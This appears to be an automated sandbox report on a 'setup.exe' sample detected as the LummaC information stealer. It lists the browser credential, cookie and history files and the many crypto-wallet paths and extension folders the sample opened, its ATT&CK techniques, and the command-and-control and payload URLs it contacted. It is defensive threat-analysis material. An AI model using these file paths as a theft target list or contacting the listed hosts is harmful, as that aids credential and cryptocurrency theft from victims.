Source: setup.exe, 00000000.00000002.4583158762.0000000001302000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2630144308.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3040949208.0000000001300000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2401160674.0000000001323000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: setup.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: setup.exe	String found in binary or memory: s/Electrum-LTC
Source: setup.exe	String found in binary or memory: s/ElectronCash
Source: setup.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: setup.exe	String found in binary or memory: window-state.json
Source: setup.exe, 00000000.00000003.2389895498.0000000001323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: setup.exe, 00000000.00000003.2629928502.0000000001373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: setup.exe	String found in binary or memory: %appdata%\Ethereum
Source: setup.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: setup.exe, 00000000.00000003.2389878782.0000000001374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\setup.exe

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match

File source: Process Memory Space: setup.exe PID: 6036, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: setup.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	22 Virtualization/Sandbox Evasion	2 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	22 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
setup.exe	21%	ReversingLabs	Win32.Malware.Generic
setup.exe	16%	Virustotal		Browse

Source	Detection	Scanner	Label
https://cegu.shop/8574262446/ph.txtcmdh	100%	Avira URL Cloud	malware
https://swingybeattyz.sbs/api.	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs/db1	0%	Avira URL Cloud	safe
swingybeattyz.sbs	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs:443/apitPK	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs/api	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs/apiMC	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs/apiUeF	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs/m	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs/	0%	Avira URL Cloud	safe
https://cegu.shop:443/8574262446/ph.txtosoft	100%	Avira URL Cloud	malware
https://swingybeattyz.sbs/%	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs:443/api	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs/apis	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txtn	100%	Avira URL Cloud	malware
https://swingybeattyz.sbs:443/apil	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txt59	100%	Avira URL Cloud	malware
https://cegu.shop/8574262446/ph.txtY	100%	Avira URL Cloud	malware
https://cegu.shop/8574262446/ph.txtebKit/537.36	100%	Avira URL Cloud	malware
http://multicommander.com/crashreport/report.phpHTTP/1.1/crashreport/report.phpPOST-----------------	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs/apiB	0%	Avira URL Cloud	safe
https://swingybeattyz.sbs/apii	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cegu.shop	185.161.251.21	true	false		high
swingybeattyz.sbs	172.67.163.221	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://swingybeattyz.sbs/api	true	Avira URL Cloud: safe	unknown
swingybeattyz.sbs	true	Avira URL Cloud: safe	unknown
rabidcowse.shop	false		high
wholersorie.shop	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://cegu.shop/8574262446/ph.txt	false		high
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://swingybeattyz.sbs:443/apitPK	setup.exe, 00000000.00000002.4583158762.0000000001302000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2630144308.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3040949208.0000000001300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
